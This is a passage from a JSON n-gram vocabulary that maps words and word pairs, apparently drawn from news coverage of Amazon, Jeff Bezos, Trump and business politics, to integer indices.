102343,\n  \"target date\": 102344,\n  \"gains despite\": 102345,\n  \"redirects\": 102346,\n  \"economy looks\": 102347,\n  \"sampson davis\": 102348,\n  \"manchester\": 102349,\n  \"high margin\": 102350,\n  \"estimate amazon\": 102351,\n  \"cresset\": 102352,\n  \"definitively illegal\": 102353,\n  \"picoult read\": 102354,\n  \"apparently incensed\": 102355,\n  \"report fearful\": 102356,\n  \"disagreed\": 102357,\n  \"primary cloud\": 102358,\n  \"enright resident\": 102359,\n  \"profits richard\": 102360,\n  \"election ballot\": 102361,\n  \"record labor\": 102362,\n  \"stocks overview\": 102363,\n  \"massoud aladdin\": 102364,\n  \"news channel\": 102365,\n  \"picks wire\": 102366,\n  \"delays smalls\": 102367,\n  \"phil great\": 102368,\n  \"200 defendants\": 102369,\n  \"strategies president\": 102370,\n  \"budget watchdog\": 102371,\n  \"york tech\": 102372,\n  \"2283a sanders\": 102373,\n  \"repeatedly alleged\": 102374,\n  \"dating\": 102375,\n  \"words says\": 102376,\n  \"hard cash\": 102377,\n  \"investopedia conglomerate\": 102378,\n  \"dad drives\": 102379,\n  \"fedex founder\": 102380,\n  \"songwriter jann\": 102381,\n  \"googl facebook\": 102382,\n  \"amazon squeezed\": 102383,\n  \"mackowiak\": 102384,\n  \"hollywood turned\": 102385,\n  \"losing business\": 102386,\n  \"hardened\": 102387,\n  \"best contemporary\": 102388,\n  \"000 yr\": 102389,\n  \"transportation bottlenecks\": 102390,\n  \"aziz\": 102391,\n  \"b0 d4a\": 102392,\n  \"triggering perpetually\": 102393,\n  \"el segundo\": 102394,\n  \"effectively function\": 102395,\n  \"affect sales\": 102396,\n  \"impacted amazon\": 102397,\n  \"falling ad\": 102398,\n  \"right recall\": 102399,\n  \"understaffed\": 102400,\n  \"shadowy cabal\": 102401,\n  \"material risk\": 102402,\n  \"officials underscores\": 102403,\n  \"visit washington\": 102404,\n  \"281 shares\": 102405,\n  \"2fjeff bezos\": 102406,\n  \"ami\": 102407,\n  \"funding provided\": 102408,\n  \"cassell\": 102409,\n  \"tenn based\": 102410,\n  \"medium\": 102411,\n  \"freaked\": 102412,\n  \"future amazon\": 102413,\n  \"director aclu\": 102414,\n  \"anonymity told\": 102415,\n  \"tax trump\": 102416,\n  \"chinese provider\": 102417,\n  \"denounce amazon\": 102418,\n  \"business scene\": 102419,\n  \"lauren sanchez\": 102420,\n  \"shutdown 2020\": 102421,\n  \"constituents embedded\": 102422,\n  \"gained nearly\": 102423,\n  \"texas freight\": 102424,\n  \"online route\": 102425,\n  \"larger prices\": 102426,\n  \"bezos celebrating\": 102427,\n  \"truly spectacular\": 102428,\n  \"assets read\": 102429,\n  \"mithila palkar\": 102430,\n  \"cnn democrats\": 102431,\n  \"cat_id\": 102432,\n  \"wrote overall\": 102433,\n  \"confidence vote\": 102434,\n  \"administration calling\": 102435,\n  \"cnet magazine\": 102436,\n  \"reverse mortgages\": 102437,\n  \"competition announced\": 102438,\n  \"documentaries add\": 102439,\n  \"charter\": 102440,\n  \"using different\": 102441,\n  \"korea russia\": 102442,\n  \"results potential\": 102443,\n  \"oppo realme\": 102444,\n  \"oliver takes\": 102445,\n  \"893 shares\": 102446,\n  \"early fourth\": 102447,\n  \"killer lines\": 102448,\n  \"impacts competition\": 102449,\n  \"bernstein chief\": 102450,\n  \"kevin\": 102451,\n  \"spokesman claimed\": 102452,\n  \"reuters wall\": 102453,\n  \"online fakes\": 102454,\n  \"secretly plotting\": 102455,\n  \"make itunaffordable\": 102456,\n  \"leaders tried\": 102457,\n  \"claimed adding\": 102458,\n  \"service fee\": 102459,\n  \"ore celebrates\": 102460,\n  \"biggest government\": 102461,\n  \"critics 2018\": 102462,\n  \"institute group\": 102463,\n  \"country history\": 102464,\n  \"story woman\": 102465,\n  \"margaret brennan\": 102466,\n  \"bb gun\": 102467,\n  \"currency occ\": 102468,\n  \"gray senior\": 102469,\n  \"gop fighting\": 102470,\n  \"browsing various\": 102471,\n  \"partly attributable\": 102472,\n  \"centuries\": 102473,\n  \"cloud planning\": 102474,\n  \"reign queen\": 102475,\n  \"country regime\": 102476,\n  \"pictures stuart\": 102477,\n  \"company crosshairs\": 102478,\n  \"embarrassing sexual\": 102479,\n  \"campus amazon\": 102480,\n  \"haircut need\": 102481,\n  \"labor regardless\": 102482,\n  \"glen started\": 102483,\n  \"vendors software\": 102484,\n  \"energy general\": 102485,\n  \"tweeted gm\": 102486,\n  \"ecommerce spend\": 102487,\n  \"company international\": 102488,\n  \"york practical\": 102489,\n  \"heart kidney\": 102490,\n  \"premised\": 102491,\n  \"future smartphone\": 102492,\n  \"gleaming sedan\": 102493,\n  \"practiced\": 102494,\n  \"x8 j8i\": 102495,\n  \"free beacon\": 102496,\n  \"medium essay\": 102497,\n  \"depicting donald\": 102498,\n  \"political ideology\": 102499,\n  \"citizen participation\": 102500,\n  \"new site\": 102501,\n  \"feces\": 102502,\n  \"committees microsoft\": 102503,\n  \"berenstein\": 102504,\n  \"2018 despite\": 102505,\n  \"keyword\": 102506,\n  \"legislative power\": 102507,\n  \"enquirer bid\": 102508,\n  \"deforestation free\": 102509,\n  \"unique committees\": 102510,\n  \"htc debuts\": 102511,\n  \"aisle\": 102512,\n  \"financing\": 102513,\n  \"soccer games\": 102514,\n  \"annum\": 102515,\n  \"senator trump\": 102516,\n  \"debot eitc\": 102517,\n  \"report\": 102518,\n  \"director mccabe\": 102519,\n  \"general probed\": 102520,\n  \"russia investigations\": 102521,\n  \"tunney act\": 102522,\n  \"caveat consistently\": 102523,\n  \"sheikh friends\": 102524,\n  \"asked elkan\": 102525,\n  \"congestion problem\": 102526,\n  \"analysts amazon\": 102527,\n  \"pillpack 2018\": 102528,\n  \"epa head\": 102529,\n  \"exhibitionist\": 102530,\n  \"copyright image\": 102531,\n  \"alleged enquirer\": 102532,\n  \"o2x p0\": 102533,\n  \"abc amtrak\": 102534,\n  \"image screenshot\": 102535,\n  \"pudos\": 102536,\n  \"foreign legion\": 102537,\n  \"user amazon\": 102538,\n  \"fun creating\": 102539,\n  \"possibility believe\": 102540,\n  \"worldtribune\": 102541,\n  \"predecessor barack\": 102542,\n  \"act targeting\": 102543,\n  \"company chairman\": 102544,\n  \"crispr\": 102545,\n  \"fact growing\": 102546,\n  \"bezos seized\": 102547,\n  \"articulate set\": 102548,\n  \"include standard\": 102549,\n  \"pro israel\": 102550,\n  \"change trump\": 102551,\n  \"bettencourt\": 102552,\n  \"administration conducted\": 102553,\n  \"market india\": 102554,\n  \"viral ging\": 102555,\n  \"giant expands\": 102556,\n  \"baritone\": 102557,\n  \"today followed\": 102558,\n  \"hq2 quandary\": 102559,\n  \"service reported\": 102560,\n  \"100418 super\": 102561,\n  \"abuses employees\": 102562,\n  \"bloomberg facebook\": 102563,\n  \"block merger\": 102564,\n  \"delivery customer\": 102565,\n  \"responses\": 102566,\n  \"business background\": 102567,\n  \"fortunate career\": 102568,\n  \"1fzelcw\": 102569,\n  \"overrides catch\": 102570,\n  \"maybe check\": 102571,\n  \"average hours\": 102572,\n  \"internal capabilities\": 102573,\n  \"real deal\": 102574,\n  \"edition published\": 102575,\n  \"ecommercechris\": 102576,\n  \"lawyer alan\": 102577,\n  \"harmony\": 102578,\n  \"sift\": 102579,\n  \"accommodating\": 102580,\n  \"mocked bezos\": 102581,\n  \"weight nearly\": 102582,\n  \"stupid comment\": 102583,\n  \"freer trade\": 102584,\n  \"service founded\": 102585,\n  \"highlighting problem\": 102586,\n  \"banks spent\": 102587,\n  \"attention trump\": 102588,\n  \"amazon dropped\": 102589,\n  \"purports\": 102590,\n  \"need rogers\": 102591,\n  \"wing rep\": 102592,\n  \"slipping pic\": 102593,\n  \"seattle ap\": 102594,\n  \"controversies daily\": 102595,\n  \"mercer\": 102596,\n  \"2rqdhqz graves\": 102597,\n  \"circumstance\": 102598,\n  \"person given\": 102599,\n  \"xi says\": 102600,\n  \"investigations served\": 102601,\n  \"jaselskis parents\": 102602,\n  \"trump rage\": 102603,\n  \"turkey trot\": 102604,\n  \"luisa brimble\": 102605,\n  \"typical citizen\": 102606,\n  \"137 funds\": 102607,\n  \"bad performance\": 102608,\n  \"sow trouble\": 102609,\n  \"income taxes\": 102610,\n  \"2018 georgia\": 102611,\n  \"powerful retailers\": 102612,\n  \"companies buyerzonewidgets\": 102613,\n  \"including morgan\": 102614,\n  \"reuters student\": 102615,\n  \"repeatedly attempted\": 102616,\n  \"global growth\": 102617,\n  \"transpired\": 102618,\n  \"1014_76a772458fdb8087939d21aa53b90eed jpg\": 102619,\n  \"haley russia\": 102620,\n  \"york emerging\": 102621,\n  \"policies returned\": 102622,\n  \"state dining\": 102623,\n  \"targeted crackdown\": 102624,\n  \"separate company\": 102625,\n  \"army npa\": 102626,\n  \"materially impact\": 102627,\n  \"investigation saying\": 102628,\n  \"notably doesn\": 102629,\n  \"purge did\": 102630,\n  \"game arkansas\": 102631,\n  \"looking campaign\": 102632,\n  \"profitability amazon\": 102633,\n  \"workers overall\": 102634,\n  \"star widely\": 102635,\n  \"somewhat awkward\": 102636,\n  \"normally 100\": 102637,\n  \"virginian coal\": 102638,\n  \"street trump\": 102639,\n  \"benavides holding\": 102640,\n  \"quadrennial cleaning\": 102641,\n  \"home connecticut\": 102642,\n  \"cost costco\": 102643,\n  \"soap opera\": 102644,\n  \"recorded donald\": 102645,\n  \"life led\": 102646,\n  \"search query\": 102647,\n  \"vietnam prisoner\": 102648,\n  \"planning military\": 102649,\n  \"stephens\": 102650,\n  \"organized actions\": 102651,\n  \"f4a return\": 102652,\n  \"2018 presented\": 102653,\n  \"phone cases\": 102654,\n  \"mnuchin urging\": 102655,\n  \"roy wood\": 102656,\n  \"product guy\": 102657,\n  \"myrtle\": 102658,\n  \"strong response\": 102659,\n  \"chef boyarde\": 102660,\n  \"l4e tlx\": 102661,\n  \"pennsylvania priests\": 102662,\n  \"thiel provides\": 102663,\n  \"reignited\": 102664,\n  \"bryn\": 102665,\n  \"hasn translated\": 102666,\n  \"satellite headquarters\": 102667,\n  \"chart reading\": 102668,\n  \"affirmed\": 102669,\n  \"ultimate question\": 102670,\n  \"industrial metals\": 102671,\n  \"intimately\": 102672,\n  \"service retiree\": 102673,\n  \"podcast\": 102674,\n  \"include plan\": 102675,\n  \"london waxwork\": 102676,\n  \"services reliable\": 102677,\n  \"bosses earn\": 102678,\n  \"job poorly\": 102679,\n  \"different preferences\": 102680,\n  \"look nice\": 102681,\n  \"sympathetic metoo\": 102682,\n  \"asked ice\": 102683,\n  \"client roster\": 102684,\n  \"gigantic ceos\": 102685,\n  \"generate intense\": 102686,\n  \"edward wong\": 102687,\n  \"literary agent\": 102688,\n  \"jitters\": 102689,\n  \"ratings declined\": 102690,\n  \"expending\": 102691,\n  \"details accurately\": 102692,\n  \"run new\": 102693,\n  \"mining rainforests\": 102694,\n  \"foreigner hit\": 102695,\n  \"just dropped\": 102696,\n  \"yara elmjouie\": 102697,\n  \"rolando\": 102698,\n  \"differential\": 102699,\n  \"official term\": 102700,\n  \"online stores\": 102701,\n  \"killer everybody\": 102702,\n  \"involved physical\": 102703,\n  \"government targets\": 102704,\n  \"impenetrable barrier\": 102705,\n  \"land\": 102706,\n  \"guy\": 102707,\n  \"public statement\": 102708,\n  \"kanye\": 102709,\n  \"hill story\": 102710,\n  \"unitedhealth unh\": 102711,\n  \"reschedule\": 102712,\n  \"indian pilot\": 102713,\n  \"lamborghini\": 102714,\n  \"usa uu\": 102715,\n  \"future success\": 102716,\n  \"wmt\": 102717,\n  \"geo challenge\": 102718,\n  \"press endangers\": 102719,\n  \"dubs fake\": 102720,\n  \"scampering\": 102721,\n  \"accused chinese\": 102722,\n  \"kim pledged\": 102723,\n  \"racial diversity\": 102724,\n  \"latest mobile\": 102725,\n  \"dr peter\": 102726,\n  \"amazon account\": 102727,\n  \"press today\": 102728,\n  \"states digital\": 102729,\n  \"toronto global\": 102730,\n  \"author takes\": 102731,\n  \"atlanta human\": 102732,\n  \"force currently\": 102733,\n  \"devil lettuce\": 102734,\n  \"politico message\": 102735,\n  \"confident bezos\": 102736,\n  \"created believe\": 102737,\n  \"heart soaringly\": 102738,\n  \"latest clue\": 102739,\n  \"detain record\": 102740,\n  \"dis abc\": 102741,\n  \"doubt hoping\": 102742,\n  \"net margins\": 102743,\n  \"anchovies\": 102744,\n  \"logoed\": 102745,\n  \"change nation\": 102746,\n  \"advisor major\": 102747,\n  \"batting\": 102748,\n  \"brand reputation\": 102749,\n  \"big emphasis\": 102750,\n  \"following congressional\": 102751,\n  \"american marketplace\": 102752,\n  \"employees customers\": 102753,\n  \"newspaper reported\": 102754,\n  \"executive editor\": 102755,\n  \"shipping containers\": 102756,\n  \"global threats\": 102757,\n  \"brief movie\": 102758,\n  \"hiddleston\": 102759,\n  \"reaction\": 102760,\n  \"oversee\": 102761,\n  \"photos featuring\": 102762,\n  \"individual mandate\": 102763,\n  \"k4a tostring\": 102764,\n  \"dates breakups\": 102765,\n  \"game engine\": 102766,\n  \"comcast bidding\": 102767,\n  \"obvious dress\": 102768,\n  \"mining waste\": 102769,\n  \"wearing baseball\": 102770,\n  \"previously republicans\": 102771,\n  \"ending witch\": 102772,\n  \"warmest wishes\": 102773,\n  \"upset\": 102774,\n  \"commission department\": 102775,\n  \"extremely wealthy\": 102776,\n  \"streaming president\": 102777,\n  \"providing information\": 102778,\n  \"human menagerie\": 102779,\n  \"reform\": 102780,\n  \"grade\": 102781,\n  \"avoidance delusion\": 102782,\n  \"possible source\": 102783,\n  \"stock gain\": 102784,\n  \"took jab\": 102785,\n  \"hale celebrate\": 102786,\n  \"nearly half\": 102787,\n  \"manny\": 102788,\n  \"riskier\": 102789,\n  \"ignore glaring\": 102790,\n  \"chart heute\": 102791,\n  \"harassment instead\": 102792,\n  \"tiny comb\": 102793,\n  \"biggest success\": 102794,\n  \"foster innovation\": 102795,\n  \"company bloomberg\": 102796,\n  \"immigration detention\": 102797,\n  \"ultra billionaire\": 102798,\n  \"day dw\": 102799,\n  \"loud sharp\": 102800,\n  \"similar workers\": 102801,\n  \"unnamed tax\": 102802,\n  \"commission according\": 102803,\n  \"boosts alliance\": 102804,\n  \"single quarter\": 102805,\n  \"entitled florida\": 102806,\n  \"image 970x450\": 102807,\n  \"president nationalism\": 102808,\n  \"relative fringes\": 102809,\n  \"youngster hit\": 102810,\n  \"priestly\": 102811,\n  \"produce president\": 102812,\n  \"rollout warehouse\": 102813,\n  \"nadella\": 102814,\n  \"audio recordings\": 102815,\n  \"driven family\": 102816,\n  \"stones\": 102817,\n  \"anticipated book\": 102818,\n  \"connelly rice\": 102819,\n  \"jody\": 102820,\n  \"news contained\": 102821,\n  \"year profit\": 102822,\n  \"simoes\": 102823,\n  \"cd active\": 102824,\n  \"ma spoke\": 102825,\n  \"ida terkel\": 102826,\n  \"nov 1996\": 102827,\n  \"information arbitrage\": 102828,\n  \"baby blimp\": 102829,\n  \"flow positive\": 102830,\n  \"bombard\": 102831,\n  \"department report\": 102832,\n  \"word just\": 102833,\n  \"money invested\": 102834,\n  \"angry tweeting\": 102835,\n  \"add stop\": 102836,\n  \"fairs mike\": 102837,\n  \"ohio family\": 102838,\n  \"california synagogue\": 102839,\n  \"rains tori\": 102840,\n  \"kate patchen\": 102841,\n  \"search details\": 102842,\n  \"communications involving\": 102843,\n  \"delivered relatively\": 102844,\n  \"wanted bezos\": 102845,\n  \"democrats formally\": 102846,\n  \"data gives\": 102847,\n  \"brake job\": 102848,\n  \"taxpayers billions\": 102849,\n  \"indulged\": 102850,\n  \"official announcement\": 102851,\n  \"review does\": 102852,\n  \"complexifier bezos\": 102853,\n  \"getting dui\": 102854,\n  \"stock disasters\": 102855,\n  \"obsessive tweets\": 102856,\n  \"new prices\": 102857,\n  \"votes cast\": 102858,\n  \"padding amazon\": 102859,\n  \"hughes chairman\": 102860,\n  \"noomi\": 102861,\n  \"dance festival\": 102862,\n  \"goals 2019\": 102863,\n  \"cc66d8b3d8354d7686ff849b53fcb798 9411680da8c6402caa7d14b071daa953\": 102864,\n  \"desperately\": 102865,\n  \"startling\": 102866,\n  \"cat\": 102867,\n  \"kennedy cited\": 102868,\n  \"upbeat economic\": 102869,\n  \"alternative minimum\": 102870,\n  \"aparicio\": 102871,\n  \"titled sean\": 102872,\n  \"allegations directed\": 102873,\n  \"open zach\": 102874,\n  \"establishing global\": 102875,\n  \"includes information\": 102876,\n  \"publicize\": 102877,\n  \"story 2016\": 102878,\n  \"teenager\": 102879,\n  \"hills earlier\": 102880,\n  \"crash cdc\": 102881,\n  \"longest war\": 102882,\n  \"hp_lead_pos1 amazon\": 102883,\n  \"feature amazon\": 102884,\n  \"income aws\": 102885,\n  \"suit later\": 102886,\n  \"talk shows\": 102887,\n  \"card information\": 102888,\n  \"secure multi\": 102889,\n  \"offers little\": 102890,\n  \"market losses\": 102891,\n  \"crime novelist\": 102892,\n  \"drive job\": 102893,\n  \"viewing platform\": 102894,\n  \"business odd\": 102895,\n  \"seahawks press\": 102896,\n  \"foster engagement\": 102897,\n  \"allowing friends\": 102898,\n  \"figure took\": 102899,\n  \"easily handle\": 102900,\n  \"arising\": 102901,\n  \"decentralized direct\": 102902,\n  \"oliphant finds\": 102903,\n  \"literal fake\": 102904,\n  \"hq2scam rally\": 102905,\n  \"southern command\": 102906,\n  \"thrones iron\": 102907,\n  \"humans obsolete\": 102908,\n  \"happy good\": 102909,\n  \"ad blocker\": 102910,\n  \"coverage trump\": 102911,\n  \"trump stopthebias\": 102912,\n  \"asking folks\": 102913,\n  \"amazons antitrust\": 102914,\n  \"patient treated\": 102915,\n  \"debt trading\": 102916,\n  \"remote island\": 102917,\n  \"stars aron\": 102918,\n  \"question incentives\": 102919,\n  \"everyday magic\": 102920,\n  \"fbi working\": 102921,\n  \"brexit won\": 102922,\n  \"including lack\": 102923,\n  \"uniform make\": 102924,\n  \"authorize\": 102925,\n  \"aid long\": 102926,\n  \"website indicated\": 102927,\n  \"reliable cellular\": 102928,\n  \"unsecured\": 102929,\n  \"amazon healthcare\": 102930,\n  \"admitted\": 102931,\n  \"amazon destroyer\": 102932,\n  \"skeptical reuters\": 102933,\n  \"protest demanding\": 102934,\n  \"corporate entities\": 102935,\n  \"invest lot\": 102936,\n  \"tech gotten\": 102937,\n  \"product legitimate\": 102938,\n  \"companies nyse\": 102939,\n  \"king historian\": 102940,\n  \"time wake\": 102941,\n  \"dow jones\": 102942,\n  \"quickly retaliated\": 102943,\n  \"skin born\": 102944,\n  \"223 million\": 102945,\n  \"freebies\": 102946,\n  \"policy advisory\": 102947,\n  \"amazon kenneth\": 102948,\n  \"ruining\": 102949,\n  \"sales speeches\": 102950,\n  \"trump tells\": 102951,\n  \"innovative technologies\": 102952,\n  \"chester\": 102953,\n  \"wife tracking\": 102954,\n  \"escalates efforts\": 102955,\n  \"dramedy\": 102956,\n  \"says benjamin\": 102957,\n  \"michelman vinny\": 102958,\n  \"examining\": 102959,\n  \"kotb\": 102960,\n  \"provide businesses\": 102961,\n  \"princess seriously\": 102962,\n  \"analyst michael\": 102963,\n  \"chocolatier\": 102964,\n  \"conversion eve\": 102965,\n  \"government waste\": 102966,\n  \"ad highlighted\": 102967,\n  \"cooper\": 102968,\n  \"accused trump\": 102969,\n  \"2006 amazon\": 102970,\n  \"activists arrested\": 102971,\n  \"nonpartisan organization\": 102972,\n  \"assange finds\": 102973,\n  \"monopoly bothers\": 102974,\n  \"iphone doesn\": 102975,\n  \"run surprisingly\": 102976,\n  \"fluctuate\": 102977,\n  \"brought roughly\": 102978,\n  \"technology changing\": 102979,\n  \"dignity\": 102980,\n  \"gene alteration\": 102981,\n  \"waterproof lightweight\": 102982,\n  \"antitrust favoritism\": 102983,\n  \"just intensified\": 102984,\n  \"howie\": 102985,\n  \"coalition crc\": 102986,\n  \"jobs joining\": 102987,\n  \"quest international\": 102988,\n  \"arrived 100\": 102989,\n  \"woe\": 102990,\n  \"tensions remain\": 102991,\n  \"regularly criticizes\": 102992,\n  \"msnbc hardball\": 102993,\n  \"international groups\": 102994,\n  \"cp gurnani\": 102995,\n  \"mpg\": 102996,\n  \"dams deforestation\": 102997,\n  \"militarized\": 102998,\n  \"impending divorce\": 102999,\n  \"conditions standing\": 103000,\n  \"government agency\": 103001,\n  \"global wine\": 103002,\n  \"miami vice\": 103003,\n  \"private digital\": 103004,\n  \"ceases\": 103005,\n  \"stock earlier\": 103006,\n  \"2020 campaign\": 103007,\n  \"insider read\": 103008,\n  \"police suicides\": 103009,\n  \"facebook employed\": 103010,\n  \"costs incurred\": 103011,\n  \"job creators\": 103012,\n  \"john doerr\": 103013,\n  \"shuster says\": 103014,\n  \"hollowing\": 103015,\n  \"alexa turn\": 103016,\n  \"investigated alphabet\": 103017,\n  \"lesar\": 103018,\n  \"grudge bezos\": 103019,\n  \"pharmaceuticals corporation\": 103020,\n  \"usa\": 103021,\n  \"amazon destruction\": 103022,\n  \"cough cases\": 103023,\n  \"madison center\": 103024,\n  \"fully turns\": 103025,\n  \"grabbing land\": 103026,\n  \"2200\": 103027,\n  \"composite sending\": 103028,\n  \"filing emphasis\": 103029,\n  \"bezos fully\": 103030,\n  \"style photo\": 103031,\n  \"depositing\": 103032,\n  \"money time\": 103033,\n  \"story peele\": 103034,\n  \"way possible\": 103035,\n  \"operating expense\": 103036,\n  \"years jack\": 103037,\n  \"price 7d\": 103038,\n  \"secretly elvis\": 103039,\n  \"arena sports\": 103040,\n  \"weren looking\": 103041,\n  \"bezos carlson\": 103042,\n  \"uncontrollable\": 103043,\n  \"agcom amazon\": 103044,\n  \"guard troops\": 103045,\n  \"brandeis\": 103046,\n  \"york shares\": 103047,\n  \"trump mouthpieces\": 103048,\n  \"wanderlust\": 103049,\n  \"poehler produced\": 103050,\n  \"cw charmed\": 103051,\n  \"pressure amid\": 103052,\n  \"syringe\": 103053,\n  \"trump commissioned\": 103054,\n  \"couchbase receives\": 103055,\n  \"snack\": 103056,\n  \"examines\": 103057,\n  \"immediately begin\": 103058,\n  \"intimate phone\": 103059,\n  \"store retail\": 103060,\n  \"legacy fun\": 103061,\n  \"second nvidia\": 103062,\n  \"sending large\": 103063,\n  \"tax tory\": 103064,\n  \"dash\": 103065,\n  \"delivers roughly\": 103066,\n  \"develop administrative\": 103067,\n  \"federal lands\": 103068,\n  \"friends bezos\": 103069,\n  \"1983\": 103070,\n  \"amazon red\": 103071,\n  \"dogging\": 103072,\n  \"attend ap\": 103073,\n  \"making successful\": 103074,\n  \"rival jd\": 103075,\n  \"plays suleiman\": 103076,\n  \"yesterday met\": 103077,\n  \"equal parts\": 103078,\n  \"image making\": 103079,\n  \"cnbc continued\": 103080,\n  \"photo chris\": 103081,\n  \"partners working\": 103082,\n  \"238 communities\": 103083,\n  \"extremely inexpensive\": 103084,\n  \"china bloomberg\": 103085,\n  \"google hauled\": 103086,\n  \"starts rose\": 103087,\n  \"refugees refugee\": 103088,\n  \"wall think\": 103089,\n  \"gain little\": 103090,\n  \"spherical\": 103091,\n  \"commentator gregg\": 103092,\n  \"construction etcetera\": 103093,\n  \"ferrero\": 103094,\n  \"essential postal\": 103095,\n  \"proposed tourist\": 103096,\n  \"old leni\": 103097,\n  \"repositions\": 103098,\n  \"york thought\": 103099,\n  \"cities suburbs\": 103100,\n  \"rough estimates\": 103101,\n  \"kids does\": 103102,\n  \"just gathering\": 103103,\n  \"accurate coverage\": 103104,\n  \"usps charges\": 103105,\n  \"stupid acquisitions\": 103106,\n  \"publishers authors\": 103107,\n  \"gotten worse\": 103108,\n  \"limit losses\": 103109,\n  \"brennan eventually\": 103110,\n  \"madness\": 103111,\n  \"center run\": 103112,\n  \"formation\": 103113,\n  \"adriana\": 103114,\n  \"handheld\": 103115,\n  \"significant resources\": 103116,\n  \"comfortable maximizing\": 103117,\n  \"marijuana titan\": 103118,\n  \"idaho\": 103119,\n  \"city councilmember\": 103120,\n  \"explosive saga\": 103121,\n  \"suspicious daughter\": 103122,\n  \"institution\": 103123,\n  \"ortis\": 103124,\n  \"latency\": 103125,\n  \"trump antagonist\": 103126,\n  \"defense decision\": 103127,\n  \"jab\": 103128,\n  \"comfortable waiting\": 103129,\n  \"election blues\": 103130,\n  \"certainly caught\": 103131,\n  \"offer american\": 103132,\n  \"amazon recently\": 103133,\n  \"266 sears\": 103134,\n  \"tax responsibilities\": 103135,\n  \"service costs\": 103136,\n  \"shoplifters sorry\": 103137,\n  \"terms amazon\": 103138,\n  \"shareholder concerns\": 103139,\n  \"korea hillicon\": 103140,\n  \"giants bellowing\": 103141,\n  \"tax true\": 103142,\n  \"google twitter\": 103143,\n  \"bezos divorcing\": 103144,\n  \"replaced\": 103145,\n  \"chinese electronics\": 103146,\n  \"cramped barren\": 103147,\n  \"nyt interview\": 103148,\n  \"paul ii\": 103149,\n  \"leader orders\": 103150,\n  \"called police\": 103151,\n  \"hide 2018\": 103152,\n  \"response salles\": 103153,\n  \"zawe ashton\": 103154,\n  \"constitution pen\": 103155,\n  \"internet juggernaut\": 103156,\n  \"traffic higher\": 103157,\n  \"services index\": 103158,\n  \"401k millionaire\": 103159,\n  \"american businesswoman\": 103160,\n  \"wice divorced\": 103161,\n  \"covering host\": 103162,\n  \"blockchain network\": 103163,\n  \"burrito lot\": 103164,\n  \"amazon prior\": 103165,\n  \"bradbury\": 103166,\n  \"make additional\": 103167,\n  \"add donald\": 103168,\n  \"getting coffee\": 103169,\n  \"premier xi\": 103170,\n  \"kiichiro\": 103171,\n  \"keeping watchful\": 103172,\n  \"enact new\": 103173,\n  \"esteemed yodeler\": 103174,\n  \"105 billion\": 103175,\n  \"cornbelly\": 103176,\n  \"offering consumers\": 103177,\n  \"510 billion\": 103178,\n  \"massachusettes\": 103179,\n  \"tonight wwe\": 103180,\n  \"trump closes\": 103181,\n  \"increasingly consequential\": 103182,\n  \"subject tend\": 103183,\n  \"candidate recently\": 103184,\n  \"pioneer startup\": 103185,\n  \"conversation fedex\": 103186,\n  \"addresssed\": 103187,\n  \"clinton read\": 103188,\n  \"neighboring\": 103189,\n  \"sorting area\": 103190,\n  \"tech sgt\": 103191,\n  \"things politics\": 103192,\n  \"futures market\": 103193,\n  \"yeah greer\": 103194,\n  \"correspond\": 103195,\n  \"hpe\": 103196,\n  \"lower product\": 103197,\n  \"book rises\": 103198,\n  \"brookings institution\": 103199,\n  \"region don\": 103200,\n  \"genius maestro\": 103201,\n  \"amazon failed\": 103202,\n  \"cat chow\": 103203,\n  \"requested reimbursement\": 103204,\n  \"lewis firsthand\": 103205,\n  \"smaller parts\": 103206,\n  \"background conversations\": 103207,\n  \"foreign piracy\": 103208,\n  \"dangerous global\": 103209,\n  \"congress launched\": 103210,\n  \"patriotic trump\": 103211,\n  \"recently deleted\": 103212,\n  \"tech neighbourhood\": 103213,\n  \"sessions mentally\": 103214,\n  \"credit luis\": 103215,\n  \"illegal activity\": 103216,\n  \"escape plan\": 103217,\n  \"weddings thousands\": 103218,\n  \"dodged\": 103219,\n  \"rod blagojevich\": 103220,\n  \"fight began\": 103221,\n  \"beneficial relationship\": 103222,\n  \"education writers\": 103223,\n  \"glenn greenwald\": 103224,\n  \"trump headlines\": 103225,\n  \"talent branded\": 103226,\n  \"deck trumped\": 103227,\n  \"briefly pulled\": 103228,\n  \"head gm\": 103229,\n  \"amzn relationship\": 103230,\n  \"sports division\": 103231,\n  \"evidence counters\": 103232,\n  \"usps task\": 103233,\n  \"year yield\": 103234,\n  \"record arrests\": 103235,\n  \"data led\": 103236,\n  \"speed winning\": 103237,\n  \"arrangement started\": 103238,\n  \"culture justin\": 103239,\n  \"alphabetical\": 103240,\n  \"series axios\": 103241,\n  \"new reality\": 103242,\n  \"rosa california\": 103243,\n  \"trump turnberry\": 103244,\n  \"tweets suggesting\": 103245,\n  \"ecclestone\": 103246,\n  \"parents tell\": 103247,\n  \"penn badgley\": 103248,\n  \"quincy coca\": 103249,\n  \"schooling\": 103250,\n  \"rated selfies\": 103251,\n  \"bob thornton\": 103252,\n  \"robot available\": 103253,\n  \"stronger relations\": 103254,\n  \"csco\": 103255,\n  \"danielle yeah\": 103256,\n  \"chinese joint\": 103257,\n  \"mason university\": 103258,\n  \"dc court\": 103259,\n  \"market google\": 103260,\n  \"mailonline\": 103261,\n  \"executives currently\": 103262,\n  \"feel great\": 103263,\n  \"malfunctioning alexa\": 103264,\n  \"based shoe\": 103265,\n  \"conservative\": 103266,\n  \"project subsidies\": 103267,\n  \"chief acquisition\": 103268,\n  \"wool kept\": 103269,\n  \"virginia economy\": 103270,\n  \"b1\": 103271,\n  \"state gov\": 103272,\n  \"seen polling\": 103273,\n  \"citi streetinsider\": 103274,\n  \"predictable effective\": 103275,\n  \"russia ambassador\": 103276,\n  \"humanized\": 103277,\n  \"sky stuff\": 103278,\n  \"door having\": 103279,\n  \"2nd quarter\": 103280,\n  \"amazon hands\": 103281,\n  \"increased credit\": 103282,\n  \"pol\": 103283,\n  \"distressed agency\": 103284,\n  \"39m reports\": 103285,\n  \"moon global\": 103286,\n  \"hanes\": 103287,\n  \"amazon creating\": 103288,\n  \"denigrating fox\": 103289,\n  \"historian rutger\": 103290,\n  \"raise minimum\": 103291,\n  \"investing markets\": 103292,\n  \"buzzsaws\": 103293,\n  \"invigorate towns\": 103294,\n  \"les\": 103295,\n  \"amazon builder\": 103296,\n  \"drugmakers insurers\": 103297,\n  \"lobbying dollar\": 103298,\n  \"week highlighted\": 103299,\n  \"certification flight\": 103300,\n  \"scaled\": 103301,\n  \"kennedy helenkennedy\": 103302,\n  \"amazon medium\": 103303,\n  \"unsuccessful\": 103304,\n  \"modest means\": 103305,\n  \"bring small\": 103306,\n  \"welch axiom\": 103307,\n  \"ght a787ba9a\": 103308,\n  \"stream president\": 103309,\n  \"carrie debuted\": 